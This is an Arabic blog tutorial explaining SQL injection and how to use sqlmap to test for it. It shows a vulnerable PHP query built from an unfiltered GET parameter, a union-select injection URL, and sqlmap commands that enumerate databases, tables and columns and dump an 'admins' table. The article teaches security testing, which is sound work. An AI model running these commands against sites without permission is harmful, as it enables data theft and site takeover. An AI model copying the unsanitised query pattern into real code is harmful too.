{ jS@lam }

مقالات، دروس، مقتطفات في البرمجة و تطوير المواقع و نظام لينكس

استخدام Sqlmap لاختبار الثغرات من نوع SQL Injection

كتبها سلام الجهني ضمن Security في

يتطلب من مبرمج مواقع الانترنت التي تستخدم قواعد البيانات أن يكون على دراية كافية باستعلامات الـ sql و خبرة في تنفيذها و منع العميل من إمكانية تنفيذ استعلامات على موقعه ﻷن ذلك قد يؤدي إلى اختراق الموقع بالكامل و يتم ذلك من خلال استغلال ثغرة تتيح عرض اسم قاعدة بيانات الموقع و من ثم عرض الجداول و حتى عرض محتوياتها مما يؤدي لتسريب المعلومات التي غالبا تسمح للمهاجم بالسيطرة على الموقع او على اﻷأقل تخريبه.
ساتحدث في هذه المقالة القصيرة عن الثغرات من نوع SQL Injection و كيفية استخدام أداة Sqlmap المتاحة في بعض توزيعات لينكس مثل Kali وهي اداة مفتوحة المصدر و متاحة مجانا.
إن أهم اعتبار يجب أخذه عند برمجة موقع من الناحية الأمنية هي اختبار المدخلات التي يقوم العميل بإدخالها سواء عن طريق الـ URI أو عن طريق النماذج Forms.
يتم تمرير البيانات من صفحة ﻷخرى بعدة طرق أحدها هو الطريقة GET فعندما ننظر إلى الرابط التالي:
http://jsalam.com/article.php?id=3

نعلم ان ذلك يعني تمرير القيمة 3 إلى الصفحة article.php حيث نستطيع قراءة هذه القيمة في الصفحة المذكورة من خلال المصفوفة $_GET بالشكل:
echo $_GET['id']; // 3

القيمة المرسلة يفترض أنها رقم صحيح وهو غالبا يقابل مفتاح رئيسي لمقالة موجودة في قاعدة البيانات.
فيما لم نقم بفلترة هذه القيمة باستخدم توابع PHP أو عمليات معينة فإننا نسمح للمستخدم بإدخال قيم خاطئة ينتج عنها أخطاء و ربما تؤدي إلى اختراق الموقع.
فإذا كنا نكتب التالي:

$id=$_GET['id'];
$query = 'SELECT * FROM articles WHERE id='$id;
...

و قام المستخدم بتعديل الـ URI بالشكل:
http://jsalam.com/article.php?id=3'

سيؤدي ذلك إلى حدوث خطأ يعلم بموجبة المستخدم ان هناك ثغرة أمنية تمكنه من حقن sql.
يعلم المستخدم أن المقالة المستخرجة يتم عرضها في الصفحة أمامه فإذا قام بحقن استعلام في ال URI سيتم عرض محتوى مختلف في الصفحة كان يقوم بالتالي:
http://jsalam.com/article.php?id=-1+union+select+1,2,database()

سيظهر اسم قاعدة البيانات في الصفحة في مكان عرض عنوان المقالة
هناك عدة إجراءات يمكن اتباعها لمعرفة اسماء الجداول و الأعمدة و القيم .. ليس الهدف هنا عرض هذه التقنيات، الهدف هو استخدام Sqlmap للقيام بهذه الإجراءات.
بعد تنصيب Sqlmap في حال لم يكن منصبا يمكننا استخدام اﻷأوامر التالية:
sqlmap -u "http://www.jsalam.com.com/article.php?id=3"

سيعطينا بعد التنفيذ شيئا يشبه الآتي:

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
...

الآن يمكننا الطلب من Sqlmap إحضار اسم قاعدة البيانات كما يلي:

sqlmap -u "http://www.jsalam.com.com/article.php?id=3" --dbs

ستكون النتيجة تشبه الآتي:

...
available databases [2]:
[*] information_schema
[*] wpblog
...

فنستنتج أن قاعدة البيانات للموقع هي wpblog، الآن لنعرف الجداول الموجودة بها نكتب:

sqlmap -u "http://www.jsalam.com.com/article.php?id=3" --tables -D wpblog

من خلال النتائج نحصل على أسماء الجداول في قاعدة البيانات، الآن إذا أردنا استخلاص القيم الموجودة في جدول ما نكتب:

sqlmap -u "http://www.jsalam.com.com/article.php?id=3" --dump -D wpblog -T admins

حيث admins هو اسم جدول حصنا عليه من التعليمة السابقة.
و في حال الرغبة بمعرفة الأعمدة الموجودة في جدول معين يمكن تنفيذ:

sqlmap -u "http://www.jsalam.com.com/article.php?id=3" --columns -D wpblog -T admins

بالنسبة للروابط التي لا تكون على شكل key=value مثل: /article/3 يجب إعلام Sqlmap بمكان الثغرة في الرابط من خلال وضع * في مكان الخرق مثلا:

http://jsalam.com/article/12*

المقالة مختصرة ولا تهدف لتعليم الاختراق إنما القصد شرح بعض أوامر أداة Sqlmap للمهتمين في هذا المجال و أتمنى عدم استخدام المعلومات الواردة لتحقيق أذى او ضرر بموقع أيا كان.

تعليقات (0)

إضافة تعليق

يمكن استخدام الأوامر التالية لإجراء تنسيقات على النص:
[b]...[/b]
[i]...[/i]
[u]...[/u]
[center]...[/center]
[url]http(s)://...[/ur]
[url=http(s)://...]...[/url]
[small]...[/small]
[color=black|blue|brown|cyan|gray|green|COLOR]...[/color]
[code=php|css|html|js|javascript|java|react|mysql|node|bash|sh]...[/code]
[LTR]...[/LTR]

تعليقات

لا يوجد تعليقات حتى الآن